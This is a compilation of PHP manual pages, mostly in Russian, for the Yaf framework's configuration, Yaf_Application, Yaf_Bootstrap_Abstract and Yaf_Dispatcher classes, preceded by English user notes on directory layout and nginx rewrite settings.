Common features required by any platform: User?Acl?Menu...

https://github.com/letwang/HookPHP
yeszao at qq dot com 15-Apr-2016 02:10
I success in "application" directory set to:

- application/
  - Bootstrap.php
  + modules
    + Index
      + controllers
         - Index.php         //default controller
      + views
         |+ index
            - index.phtml   //view template for default action
  - library
  - models
  - plugins

And Bootstrap.php should be enter at least 3 line like these:

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract {
}
zhaozhi406 at 163 dot com 03-Dec-2015 04:09
the nginx rewrite rule should be:

if (!-e $request_filename) {
       rewrite ^/(.*)  /index.php?$1 last;
}
fatih dot akgun at hotmail dot be 09-Jul-2015 08:17
Alternative

you can generate the example above by using Yaf Code Generator: https://github.com/laruence/php-yaf/tree/master/tools/cg
jshawcx at gmail dot com 13-Mar-2015 03:15
use  nginx  and php-fpm   you can   config:

    location / {
        try_files $uri    $uri/    /index.php$is_args$args;
        }

        location ~ \.php$ {
                fastcgi_pass   127.0.0.1:9000;
               #fastcgi_pass unix:/tmp/php-cgi.sock;
                fastcgi_index  index.php;
            fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        include        fastcgi_params;
        }
winston 11-Mar-2015 04:30
When you use nginx & php-fpm config for yaf frame, you must set PATH_INFO support in nginx. Otherwise, it will not work.
Demo :
location / {
  try_files $uri $uri/ @path_rw;
}

#path_info is needed by some php frameworks like yaf/thinkphp
location @path_rw {
  rewrite ^/(.*)$  /index.php/$1 last;
}

location ~ \.php {
  fastcgi_pass unix:/dev/shm/php-cgi.sock;
  fastcgi_index index.php;
  include fastcgi.conf;

  fastcgi_split_path_info ^(.+?\.php)(/.+)$;
  fastcgi_param SCRIPT_FILENAME   $document_root$fastcgi_script_name;
  fastcgi_param SCRIPT_NAME $fastcgi_script_name;
  fastcgi_param PATH_INFO $fastcgi_path_info;
}
Li Min 31-Oct-2013 06:26
http://us3.php.net/manual/zh/yaf.tutorials.php

Lost default Bootstrap.php

<?php
   /* bootstrap class should be defined under ./application/Bootstrap.php */
   class Bootstrap extends Yaf_Bootstrap_Abstract {
        public function _initConfig(Yaf_Dispatcher $dispatcher) {
            var_dump(__METHOD__);
        }
        public function _initPlugin(Yaf_Dispatcher $dispatcher) {
            var_dump(__METHOD__);
        }
   }


Конфигурация приложения

Вы должны задать конфигурацию в виде массива или INI файла (Смотрите Yaf_Config_Ini) в конструкторе Yaf_Application::__construct().

Yaf автоматически объединит параметры приложения и пользовательские параметры. Конфигурация приложений имеет префикс "yaf." или "application.". Если указанны оба "yaf." и "application.", преимущество будет отдано "application.".

Пример #1 Пример PHP массива

<?php
$configs = array(
"application" => array(
"directory" => dirname(__FILE__),
"dispatcher" => array(
"catchException" => 0,
),
"view" => array(
"ext" => "phtml",
),
),
);
$app = new Yaf_Application($config);
?>

Пример #2 Пример INI файла

[yaf]
yaf.directory = APPLICATION_PATH "/appliation"
yaf.dispatcher.catchException = 0

[product : yaf]
; user configuration list here

Конфигурация Yaf приложения
Имя | По умолчанию | Список изменений
application.directory |  |
application.ext | "php" |
application.view.ext | "phtml" |
application.modules | "index" |
application.library | application.directory . "/library" |
application.library.directory | application.directory . "/library" |
application.library.namespace | "" |
application.bootstrap | application.directory . "/Bootstrap" . application.ext |
application.baseUri | "" |
application.dispatcher.defaultRoute |  |
application.dispatcher.throwException | 1 |
application.dispatcher.catchException | 0 |
application.dispatcher.defaultModule | "index" |
application.dispatcher.defaultController | "index" |
application.dispatcher.defaultAction | "index" |
application.system |  |

Краткое разъяснение конфигурационных директив.

application.directory string

Директория, которая содержит папки "controllers"(контроллеры), "views"(шаблоны вывода), "models"(модели), "plugins"(плагины).

Замечание:

Это единственная конфигурация которая не имеет параметров по умолчанию. Вы должны ввести её вручную.

application.ext string

Расширения файлов PHP-скриптов, использующихся в классе автозагрузки ( Yaf_Loader).

application.view.ext string

Расширения файлов шаблонов вывода.

application.modules string

Список зарегистрированных модулей, разделённых запятыми, используемых в маршрутизации, особенно если в PATH_INFO более трёх сегментов,

Yaf должен иметь возможность понять, является ли первый сегмент именем модуля или нет.

application.library string

Локальный каталог с библиотеками, смотрите Yaf_Loader и yaf.library.

Замечание:

После Yaf 2.1.6, эта настройка должна представлять из себя массив. Путь к библиотекам будет пытаться использовать элементы application.library.directory

application.library.directory string

Псевдоним для application.library. Добавлено в Yaf 2.1.6

application.library.namespace string

Префиксы пространств имён локальных библиотек, перечисленные через запятую.

Добавлено в Yaf 2.1.6

application.bootstrap string

Абсолютный путь к скрипту класса Bootstrap.

application.baseUri string

Используется для удаления фиксированного префикса URI запроса в процессе маршрутизации. К примеру, пришёл запрос к "/prefix/controller/action". Если вы зададите application.baseUri равным "/prefix", то в процессе маршрутизации, в качестве PATH_INFO будет использоваться только "/controller/action".

В целом, это довольно бесполезная настройка.

application.dispatcher.throwException bool

Если установлено как On, Yaf будет выбрасывать исключения в случае возникновения ошибок. Также смотрите Yaf_Dispatcher::throwException().

application.dispatcher.catchException bool

Если установлено как On, Yaf будет посылать не обработанные исключения в контроллер Ошибок/Действий. Также смотрите Yaf_Dispatcher::catchException().

application.dispatcher.defaultRoute string

Маршрутизация по умолчанию, если не задано, то, по умолчанию, будет использован маршрут Static. Смотрите: Yaf_Router::addRoute().

application.dispatcher.defaultModule string

Имя модуля по умолчанию, также смотрите Yaf_Dispatcher::setDefaultModule().

application.dispatcher.defaultController string

Имя контроллера по умолчанию, также смотрите Yaf_Dispatcher::setDefaultController().

application.dispatcher.defaultAction string

Имя действия по умолчанию, также смотрите Yaf_Dispatcher::setDefaultAction().

application.system string

Устанавливает конфигурацию времени исполнения yaf в application.ini, типа: application.system.lowcase_path

Замечание:

только PHP_INI_ALL опции могут быть установлены таким образом

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Application

(Информация о версии неизвестна, возможно, только в Git)

Введение

Yaf_Application обеспечивает инициализацию объекта для приложений которые предоставляют переиспользуемые ресурсы, общие и модульные bootstrap-классы и проверки зависимостей.

Замечание:

Yaf_Application реализует шаблоном singleton, и Yaf_Application не может быть сериализован или десериализован что вызывает проблемы когда вы пытаетесь использовать PHPUnit чтобы написать некоторые тесты для Yaf.

Вы можете использовать @backupGlobals аннотации PHPUnit для контроля бэкапов и операций восстановления глобальных переменных. Таким образом можно решить эту проблему.

Обзор классов

final class Yaf_Application {
/* Свойства */
protected $config;
protected $dispatcher;
protected static $_app;
protected $_modules;
protected $_running;
protected $_environ;
/* Методы */
public __construct(mixed $config, string $envrion = ?)
public staticapp(): mixed
public bootstrap(Yaf_Bootstrap_Abstract $bootstrap = ?): void
public clearLastError(): Yaf_Application
public environ(): void
public execute(callable $entry, string ...$args): void
public getAppDirectory(): Yaf_Application
public getConfig(): Yaf_Config_Abstract
public getDispatcher(): Yaf_Dispatcher
public getLastErrorMsg(): string
public getLastErrorNo(): int
public getModules(): array
public run(): void
public setAppDirectory(string $directory): Yaf_Application
public __destruct()
}

Свойства

config

dispatcher

_app

_modules

_running

_environ

Содержание

  • Yaf_Application::app — Извлечь экземпляр приложения
  • Yaf_Application::bootstrap — Вызвать bootstrap
  • Yaf_Application::clearLastError — Очистка информации по последней ошибке
  • Yaf_Application::__construct — Конструктор класса Yaf_Application
  • Yaf_Application::__destruct — Деструктор Yaf_Application
  • Yaf_Application::environ — Получить значение окружения
  • Yaf_Application::execute — Запустить callback-функцию
  • Yaf_Application::getAppDirectory — Получить директорию приложения
  • Yaf_Application::getConfig — Получить экземпляр класса конфигурации
  • Yaf_Application::getDispatcher — Получить экземпляр класса Yaf_Dispatcher
  • Yaf_Application::getLastErrorMsg — Получить последнее сообщение об ошибке
  • Yaf_Application::getLastErrorNo — Получить код последней ошибки
  • Yaf_Application::getModules — Получить имена заявленных модулей
  • Yaf_Application::run — Запустить Yaf_Application
  • Yaf_Application::setAppDirectory — Изменить директорию приложения

User Contributed Notes

There are no user contributed notes for this page.


Извлечь экземпляр приложения

  • « Yaf_Application
  • Yaf_Application::bootstrap »
  • PHP Manual
  • Yaf_Application
  • Извлечь экземпляр приложения

Yaf_Application::app

(Yaf >=1.0.0)

Yaf_Application::app — Извлечь экземпляр приложения

Описание

public staticYaf_Application::app(): mixed

Извлекает экземпляр класса Yaf_Application. Также для этого вы можете использовать Yaf_Dispatcher::getApplication().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Экземпляр класса Yaf_Application, если ни одного Yaf_Application ещё не инициализировано, будет возвращён null.

Смотрите также

  • Yaf_Dispatcher::getApplication() - Получает приложение

User Contributed Notes

There are no user contributed notes for this page.


Вызвать bootstrap

  • « Yaf_Application::app
  • Yaf_Application::clearLastError »
  • PHP Manual
  • Yaf_Application
  • Вызвать bootstrap

Yaf_Application::bootstrap

(Yaf >=1.0.0)

Yaf_Application::bootstrap — Вызвать bootstrap

Описание

public Yaf_Application::bootstrap(Yaf_Bootstrap_Abstract $bootstrap = ?): void

Запускает Bootstrap, все методы определённые в Bootstrap и именованные с префиксом "_init" будут вызваны в порядке их определения. Если параметр bootstrap не задан, Yaf будет его искать по пути, указанному в application.directory.

Список параметров

bootstrap

Экземпляр класса Yaf_Bootstrap_Abstract

Возвращаемые значения

Экземпляр класса Yaf_Application

Примеры

Пример #1 Пример использования Bootstrap()

<?php
/**
* Этот файл должен находиться по пути APPLICATION_PATH . "/application/"
* (который определён в конфигурационном файле приложения Yaf_Application).
* и называться Bootstrap.php, чтобы Yaf_Application смог его найти
*/
class Bootstrap extends Yaf_Bootstrap_Abstract {
function _initConfig(Yaf_Dispatcher $dispatcher) {
echo "первый метод вызван\n";
}

function _initPlugin($dispatcher) {
echo "второй метод вызван\n";
}
}
?>

Пример #2 Пример использования Yaf_Application::bootstrap()

<?php

defined('APPLICATION_PATH') // Будет использован APPLICATION_PATH
|| define('APPLICATION_PATH', __DIR__);

$application = new Yaf_Application(APPLICATION_PATH.'/conf/application.ini');
$application->bootstrap();
?>

Результатом выполнения данного примера будет что-то подобное:

первый метод вызван
второй метод вызван

Смотрите также

  • Yaf_Bootstrap_Abstract

User Contributed Notes

brandon at brandonlamb dot com 29-Dec-2011 08:50
Here is an example of a Bootstrap loading a session class then loading a database class and using a db configuration from the application config.

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract
{
    public function _initSession(Yaf_Dispatcher $dispatcher)
    {
        $session = new Vendor\Session();
        $session->start();
    }

    public function _initDatabase(Yaf_Dispatcher $dispatcher)
    {
        $config = Yaf_Application::app()->getConfig()->application->database;
        Yaf_Registry::set('db', Vendor\Database($config));
    }
}
?>


Очистка информации по последней ошибке

  • « Yaf_Application::bootstrap
  • Yaf_Application::__construct »
  • PHP Manual
  • Yaf_Application
  • Очистка информации по последней ошибке

Yaf_Application::clearLastError

(Yaf >=2.1.2)

Yaf_Application::clearLastError — Очистка информации по последней ошибке

Описание

public Yaf_Application::clearLastError(): Yaf_Application

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования Yaf_Application::clearLastError()

<?php
function error_handler($errno, $errstr, $errfile, $errline) {
Yaf_Application::app()->clearLastError();
var_dump(Yaf_Application::app()->getLastErrorNo());
}

$config = array(
"application" => array(
"directory" => "/tmp/notexists",
"dispatcher" => array(
"throwException" => 0, //вызывать ошибку вместо исключения
),
),
);

$app = new Yaf_Application($config);
$app->getDispatcher()->setErrorHandler("error_handler", E_RECOVERABLE_ERROR);
$app->run();
?>

Результатом выполнения данного примера будет что-то подобное:

int(0)

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса Yaf_Application

  • « Yaf_Application::clearLastError
  • Yaf_Application::__destruct »
  • PHP Manual
  • Yaf_Application
  • Конструктор класса Yaf_Application

Yaf_Application::__construct

(Yaf >=1.0.0)

Yaf_Application::__construct — Конструктор класса Yaf_Application

Описание

public Yaf_Application::__construct(mixed $config, string $envrion = ?)

Экземпляр Yaf_Application.

Список параметров

config

Путь к конфигурационному ini-файлу или массив с настройками

Если это путь к ini-файлу, то в нем должен присутствовать раздел с именем yaf.environ, являющийся по умолчанию "product".

Замечание:

Если вы используете ini-файл, то, для улучшения производительности, разрешите опцию yaf.cache_config.

Параметры конфигурации(и их значения по умолчанию):

Пример #1 Пример ini-файла

[product]
;Эта опция не имеет значения по умолчанию и обязательно должна быть задана вами
application.directory=APPLICATION_PATH

;Следующие параметры имеют значение по умолчанию, вам можно их не трогать
application.library = APPLICATION_PATH . "/library"
application.dispatcher.throwException=1
application.dispatcher.catchException=1

application.baseUri=""

;расширение php-скриптов
ap.ext=php

;расширение файлов шаблонов
ap.view.ext=phtml

ap.dispatcher.defaultModule=Index
ap.dispatcher.defaultController=Index
ap.dispatcher.defaultAction=index

;Определённые модули
ap.modules=Index

envrion

Какой раздел будет загружен как окончательная конфигурация

Возвращаемые значения

Примеры

Пример #2 Пример использования Yaf_Application::__construct()

<?php
defined('APPLICATION_PATH') // APPLICATION_PATH will be used in the ini config file
|| define('APPLICATION_PATH', __DIR__));

$application = new Yaf_Application(APPLICATION_PATH.'/conf/application.ini');
$application->bootstrap()->run();
?>

Результатом выполнения данного примера будет что-то подобное:

Пример #3 Пример использования Yaf_Application::__construct()

<?php
$config = array(
    "application" => array(
        "directory" => realpath(dirname(__FILE__)) . "/application",
    ),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
$application->bootstrap()->run();
?>

Результатом выполнения данного примера
будет что-то подобное:

Смотрите также

  • Yaf_Config_Ini
    •

User Contributed Notes

There are no user contributed notes for this page.


Деструктор Yaf_Application

  • « Yaf_Application::__construct
  • Yaf_Application::environ »
  • PHP Manual
  • Yaf_Application
  • Деструктор Yaf_Application

Yaf_Application::__destruct

(Yaf >=1.0.0)

Yaf_Application::__destruct — Деструктор Yaf_Application

Описание

public Yaf_Application::__destruct()

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить значение окружения

  • « Yaf_Application::__destruct
  • Yaf_Application::execute »
  • PHP Manual
  • Yaf_Application
  • Получить значение окружения

Yaf_Application::environ

(Yaf >=1.0.0)

Yaf_Application::environ — Получить значение окружения

Описание

public Yaf_Application::environ(): void

Получить значение окружения из yaf.environ, которое по умолчанию равно "product".

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования Yaf_Application::environ()

<?php
$config = array(
"application" => array(
"directory" => realpath(dirname(__FILE__)) . "/application",
),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
print_r($application->environ());
?>

Результатом выполнения данного примера будет что-то подобное:

product

User Contributed Notes

There are no user contributed notes for this page.


Запустить callback-функцию

  • « Yaf_Application::environ
  • Yaf_Application::getAppDirectory »
  • PHP Manual
  • Yaf_Application
  • Запустить callback-функцию

Yaf_Application::execute

(Yaf >=1.0.0)

Yaf_Application::execute — Запустить callback-функцию

Описание

public Yaf_Application::execute(callable $entry, string ...$args): void

Этот метод обычно используется для запуска Yaf_Application через планировщик (crontab). Задача в crontab также может использовать механизмы autoloader и Bootstrap.

Список параметров

entry

Callback-функция

args

Параметры, которые надо передать в эту функцию

Возвращаемые значения

Примеры

Пример #1 Пример использования Yaf_Application::execute()

<?php
function main($argc, $argv) {
}

$config = array(
"application" => array(
"directory" => realpath(dirname(__FILE__)) . "/application",
),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
$application->execute("main", $argc, $argv);
?>

Результатом выполнения данного примера будет что-то подобное:

User Contributed Notes

There are no user contributed notes for this page.


Получить директорию приложения

  • « Yaf_Application::execute
  • Yaf_Application::getConfig »
  • PHP Manual
  • Yaf_Application
  • Получить директорию приложения

Yaf_Application::getAppDirectory

(Yaf >=2.1.4)

Yaf_Application::getAppDirectory — Получить директорию приложения

Описание

public Yaf_Application::getAppDirectory(): Yaf_Application

Список параметров

directory

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить экземпляр класса конфигурации

  • « Yaf_Application::getAppDirectory
  • Yaf_Application::getDispatcher »
  • PHP Manual
  • Yaf_Application
  • Получить экземпляр класса конфигурации

Yaf_Application::getConfig

(Yaf >=1.0.0)

Yaf_Application::getConfig — Получить экземпляр класса конфигурации

Описание

public Yaf_Application::getConfig(): Yaf_Config_Abstract

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Экземпляр класса Yaf_Config_Abstract

Примеры

Пример #1 Пример использования Yaf_Application::getConfig()

<?php
$config = array(
"application" => array(
"directory" => realpath(dirname(__FILE__)) . "/application",
),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
print_r($application->getConfig());
?>

Результатом выполнения данного примера будет что-то подобное:

Yaf_Config_Simple Object
(
    [_config:protected] => Array
        (
            [application] => Array
                (
                    [directory] => /home/laruence/local/www/htdocs/application
                )

        )

    [_readonly:protected] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Получить экземпляр класса Yaf_Dispatcher

  • « Yaf_Application::getConfig
  • Yaf_Application::getLastErrorMsg »
  • PHP Manual
  • Yaf_Application
  • Получить экземпляр класса Yaf_Dispatcher

Yaf_Application::getDispatcher

(Yaf >=1.0.0)

Yaf_Application::getDispatcher — Получить экземпляр класса Yaf_Dispatcher

Описание

public Yaf_Application::getDispatcher(): Yaf_Dispatcher

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования Yaf_Application::getDispatcher()

<?php
$config = array(
"application" => array(
"directory" => realpath(dirname(__FILE__)) . "/application",
),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
print_r($application->getDispatcher());
?>

Результатом выполнения данного примера будет что-то подобное:

Yaf_Dispatcher Object
(
    [_router:protected] => Yaf_Router Object
        (
            [_routes:protected] => Array
                (
                    [_default] => Yaf_Route_Static Object
                        (
                        )

                )

            [_current:protected] =>
        )

    [_view:protected] =>
    [_request:protected] => Yaf_Request_Http Object
        (
            [module] =>
            [controller] =>
            [action] =>
            [method] => Cli
            [params:protected] => Array
                (
                )

            [language:protected] =>
            [_exception:protected] =>
            [_base_uri:protected] =>
            [uri:protected] =>
            [dispatched:protected] =>
            [routed:protected] =>
        )

    [_plugins:protected] => Array
        (
        )

    [_auto_render:protected] => 1
    [_return_response:protected] =>
    [_instantly_flush:protected] =>
    [_default_module:protected] => Index
    [_default_controller:protected] => Index
    [_default_action:protected] => index
    [_response] => Yaf_Response_Cli Object
        (
            [_header:protected] => Array
                (
                )

            [_body:protected] =>
            [_sendheader:protected] =>
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Получить последнее сообщение об ошибке

  • « Yaf_Application::getDispatcher
  • Yaf_Application::getLastErrorNo »
  • PHP Manual
  • Yaf_Application
  • Получить последнее сообщение об ошибке

Yaf_Application::getLastErrorMsg

(Yaf >=2.1.2)

Yaf_Application::getLastErrorMsg — Получить последнее сообщение об ошибке

Описание

public Yaf_Application::getLastErrorMsg(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования Yaf_Application::getLastErrorMsg()

<?php
function error_handler($errno, $errstr, $errfile, $errline) {
var_dump(Yaf_Application::app()->getLastErrorMsg());
}

$config = array(
"application" => array(
"directory" => "/tmp/notexists",
"dispatcher" => array(
"throwException" => 0, //вызывать ошибку вместо исключения
),
),
);

$app = new Yaf_Application($config);
$app->getDispatcher()->setErrorHandler("error_handler", E_RECOVERABLE_ERROR);
$app->run();
?>

Результатом выполнения данного примера будет что-то подобное:

string(69) "Could not find controller script /tmp/notexists/controllers/Index.php"

User Contributed Notes

There are no user contributed notes for this page.


Получить код последней ошибки

  • « Yaf_Application::getLastErrorMsg
  • Yaf_Application::getModules »
  • PHP Manual
  • Yaf_Application
  • Получить код последней ошибки

Yaf_Application::getLastErrorNo

(Yaf >=2.1.2)

Yaf_Application::getLastErrorNo — Получить код последней ошибки

Описание

public Yaf_Application::getLastErrorNo(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования Yaf_Application::getLastErrorNo()

<?php
function error_handler($errno, $errstr, $errfile, $errline) {
var_dump(Yaf_Application::app()->getLastErrorNo());
var_dump(Yaf_Application::app()->getLastErrorNo() == YAF_ERR_NOTFOUND_CONTROLLER);
}

$config = array(
"application" => array(
"directory" => "/tmp/notexists",
"dispatcher" => array(
"throwException" => 0, //вызывать ошибку вместо исключения
),
),
);

$app = new Yaf_Application($config);
$app->getDispatcher()->setErrorHandler("error_handler", E_RECOVERABLE_ERROR);
$app->run();
?>

Результатом выполнения данного примера будет что-то подобное:

int(516)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Получить имена заявленных модулей

  • « Yaf_Application::getLastErrorNo
  • Yaf_Application::run »
  • PHP Manual
  • Yaf_Application
  • Получить имена заявленных модулей

Yaf_Application::getModules

(Yaf >=1.0.0)

Yaf_Application::getModules — Получить имена заявленных модулей

Описание

public Yaf_Application::getModules(): array

Получить список модулей, заданных в конфигурационном файле. Если ни одного модуля не задано, то в вашем распоряжении всегда есть модуль "Index".

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования Yaf_Application::getModules()

<?php
$config = array(
"application" => array(
"directory" => realpath(dirname(__FILE__)) . "/application",
),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
print_r($application->getModules());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Index
)

User Contributed Notes

There are no user contributed notes for this page.


Запустить Yaf_Application

  • « Yaf_Application::getModules
  • Yaf_Application::setAppDirectory »
  • PHP Manual
  • Yaf_Application
  • Запустить Yaf_Application

Yaf_Application::run

(Yaf >=1.0.0)

Yaf_Application::run — Запустить Yaf_Application

Описание

public Yaf_Application::run(): void

Запускает Yaf_Application, позволяя Yaf_Application принимать запросы и маршрутизировать их, направлять в контроллер/действие(Action) и отрисовывать. И, в конце концов, отправлять ответ клиенту.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Изменить директорию приложения

  • « Yaf_Application::run
  • Yaf_Bootstrap_Abstract »
  • PHP Manual
  • Yaf_Application
  • Изменить директорию приложения

Yaf_Application::setAppDirectory

(Yaf >=2.1.4)

Yaf_Application::setAppDirectory — Изменить директорию приложения

Описание

public Yaf_Application::setAppDirectory(string $directory): Yaf_Application

Список параметров

directory

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Bootstrap_Abstract

(Информация о версии неизвестна, возможно, только в Git)

Введение

Bootstrap является механизмом, который используется для начального конфигурирования чего-либо до запуска приложения.

Пользователь может определить свой собственный Bootstrap класс, унаследовав Yaf_Bootstrap_Abstract

Любой метод, объявленный в классе Bootstrap начинающийся на "_init", будет вызван Yaf_Application::bootstrap() один за другим в соответствии с заданной последовательностью.

Примеры

Пример #1 Пример использования Bootstrap

<?php
/* класс bootstrap должен быть задан в ./application/Bootstrap.php */
class Bootstrap extends Yaf_Bootstrap_Abstract {
public function _initConfig(Yaf_Dispatcher $dispatcher) {
var_dump(__METHOD__);
}
public function _initPlugin(Yaf_Dispatcher $dispatcher) {
var_dump(__METHOD__);
}
}

$config = array(
"application" => array(
"directory" => dirname(__FILE__) . "/application/",
),
);

$app = new Yaf_Application($config);
$app->bootstrap();
?>

Результатом выполнения данного примера будет что-то подобное:

string(22) "Bootstrap::_initConfig"
string(22) "Bootstrap::_initPlugin"

Обзор классов

abstract class Yaf_Bootstrap_Abstract {
/* Свойства */
/* Методы */
}

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Dispatcher

(Yaf >=1.0.0)

Введение

Yaf_Dispatcher предназначен для инициализации окружения запроса, маршрутизации входящего запроса, и последующей отправки любых обнаруженных задач; агрегирует все ответы и возвращает их по завершению процесса.

Yaf_Dispatcher реализует шаблон проектирования Singleton, это значит что только один экземпляр класса может быть доступен в любое время. Это позволяет ему также выступать в качестве реестра в который другие объекты в процессе диспетчеризации могут подтягиваться.

Обзор классов

final class Yaf_Dispatcher {
/* Свойства */
protected $_router;
protected $_view;
protected $_request;
protected $_plugins;
protected static $_instance;
protected $_auto_render;
protected $_return_response;
protected $_instantly_flush;
protected $_default_module;
protected $_default_controller;
protected $_default_action;
/* Методы */
public __construct()
public autoRender(bool $flag = ?): Yaf_Dispatcher
public catchException(bool $flag = ?): Yaf_Dispatcher
public disableView(): bool
public dispatch(Yaf_Request_Abstract $request): Yaf_Response_Abstract
public enableView(): Yaf_Dispatcher
public flushInstantly(bool $flag = ?): Yaf_Dispatcher
public getApplication(): Yaf_Application
public getDefaultAction(): string
public getDefaultController(): string
public getDefaultModule(): string
public static getInstance(): Yaf_Dispatcher
public getRequest(): Yaf_Request_Abstract
public getRouter(): Yaf_Router
public initView(string $templates_dir, array $options = ?): Yaf_View_Interface
public registerPlugin(Yaf_Plugin_Abstract $plugin): Yaf_Dispatcher
public returnResponse(bool $flag): Yaf_Dispatcher
public setDefaultAction(string $action): Yaf_Dispatcher
public setDefaultController(string $controller): Yaf_Dispatcher
public setDefaultModule(string $module): Yaf_Dispatcher
public setErrorHandler(call $callback, int $error_types): Yaf_Dispatcher
public setRequest(Yaf_Request_Abstract $request): Yaf_Dispatcher
public setView(Yaf_View_Interface $view): Yaf_Dispatcher
public throwException(bool $flag = ?): Yaf_Dispatcher
}

Свойства

_router

_view

_request

_plugins

_instance

_auto_render

_return_response

_instantly_flush

_default_module

_default_controller

_default_action

Содержание

  • Yaf_Dispatcher::autoRender — Включает/выключает авторендеринг
  • Yaf_Dispatcher::catchException — Включает/выключает перехват исключений
  • Yaf_Dispatcher::__construct — Конструктор класса Yaf_Dispatcher
  • Yaf_Dispatcher::disableView — Отключает механизм просмотра
  • Yaf_Dispatcher::dispatch — Отправляет запрос
  • Yaf_Dispatcher::enableView — Включает механизм просмотра
  • Yaf_Dispatcher::flushInstantly — Включает/выключает мгновенную очистку
  • Yaf_Dispatcher::getApplication — Получает приложение
  • Yaf_Dispatcher::getDefaultAction — Получает имя действия по умолчанию
  • Yaf_Dispatcher::getDefaultController — Получает имя контроллера по умолчанию
  • Yaf_Dispatcher::getDefaultModule — Получает имя модуля по умолчанию
  • Yaf_Dispatcher::getInstance — Получает экземпляр диспетчера
  • Yaf_Dispatcher::getRequest — Получает экземпляр запроса
  • Yaf_Dispatcher::getRouter — Получает экземпляр маршрутизатора
  • Yaf_Dispatcher::initView — Инициализирует представление и возвращает его
  • Yaf_Dispatcher::registerPlugin — Регистрирует плагин
  • Yaf_Dispatcher::returnResponse — Назначение returnResponse
  • Yaf_Dispatcher::setDefaultAction — Изменяет имя действия по умолчанию
  • Yaf_Dispatcher::setDefaultController — Изменяет имя контроллера по умолчанию
  • Yaf_Dispatcher::setDefaultModule — Изменяет имя модуля по умолчанию
  • Yaf_Dispatcher::setErrorHandler — Устанавливает обработчик ошибок
  • Yaf_Dispatcher::setRequest — Назначение setRequest
  • Yaf_Dispatcher::setView — Устанавливает пользовательский механизм отображения
  • Yaf_Dispatcher::throwException — Включает/выключает выбрасывание исключений

User Contributed Notes

There are no user contributed notes for this page.


Включает/выключает авторендеринг

  • « Yaf_Dispatcher
  • Yaf_Dispatcher::catchException »
  • PHP Manual
  • Yaf_Dispatcher
  • Включает/выключает авторендеринг

Yaf_Dispatcher::autoRender

(Yaf >=1.0.0)

Yaf_Dispatcher::autoRender — Включает/выключает авторендеринг

Описание

public Yaf_Dispatcher::autoRender(bool $flag = ?): Yaf_Dispatcher

Yaf_Dispatcher будет отображаться автоматически после отправки входящего запроса. Вы можете предотвратить рендеринг, вызвав этот метод с помощью flag true

Замечание:

Вы можете просто вернуть false в действии, чтобы предотвратить автоматический рендеринг этого действия

Список параметров

flag

bool

Замечание:

начиная с 2.2.0, если этот параметр не задан, будет возвращено текущее состояние

Возвращаемые значения

Примеры

Пример #1 Пример использования Yaf_Dispatcher::autoRender()

<?php
class IndexController extends Yaf_Controller_Abstract {
/* Метод init будет вызван, как только будет инициализирован контроллер */
public function init() {
if ($this->getRequest()->isXmlHttpRequest()) {
//не вызывать render для ajax-запроса
//мы выведем строку JSON
Yaf_Dispatcher::getInstance()->autoRender(FALSE);
}
}

}
?>

Результатом выполнения данного примера будет что-то подобное:

User Contributed Notes

There are no user contributed notes for this page.


Включает/выключает перехват исключений

  • « Yaf_Dispatcher::autoRender
  • Yaf_Dispatcher::__construct »
  • PHP Manual
  • Yaf_Dispatcher
  • Включает/выключает перехват исключений

Yaf_Dispatcher::catchException

(Yaf >=1.0.0)

Yaf_Dispatcher::catchException — Включает/выключает перехват исключений

Описание

public Yaf_Dispatcher::catchException(bool $flag = ?): Yaf_Dispatcher

Пока application.dispatcher.throwException включено (вы также можете вызвать Yaf_Dispatcher::throwException(TRUE)(), чтобы включить), Yaf будет выбрасывать исключение в случае возникновения ошибки вместо ошибки срабатывания.

тогда, если вы включите Yaf_Dispatcher::catchException() (также можно включить, установив application.dispatcher.catchException), все неперехваченные исключения будут пойманы ErrorController::error, если вы его определили.

Список параметров

flag

Логическое значение

Возвращаемые значения

Примеры

Пример #1 Пример использования Yaf_Dispatcher::catchException()

/* если вы определили ErrorController следующим образом */
<?php
class ErrorController extends Yaf_Controller_Abstract {
/**
* вы также можете вызвать Yaf_Request_Abstract::getException, чтобы получить
* неперехваченное исключение.
*/
public function errorAction($exception) {
/* error occurs */
switch ($exception->getCode()) {
case YAF_ERR_NOTFOUND_MODULE:
case YAF_ERR_NOTFOUND_CONTROLLER:
case YAF_ERR_NOTFOUND_ACTION:
case YAF_ERR_NOTFOUND_VIEW:
echo 404, ":", $exception->getMessage();
break;
default :
$message = $exception->getMessage();
echo 0, ":", $exception->getMessage();
break;
}
}
}
?>

Результатом выполнения данного примера будет что-то подобное:

/* now if some error occur, assuming access a non-exists controller(or you can throw a exception yourself): */
404:Could not find controller script **/application/controllers/No-exists-controller.php

Смотрите также

  • Yaf_Dispatcher::throwException() - Включает/выключает выбрасывание исключений
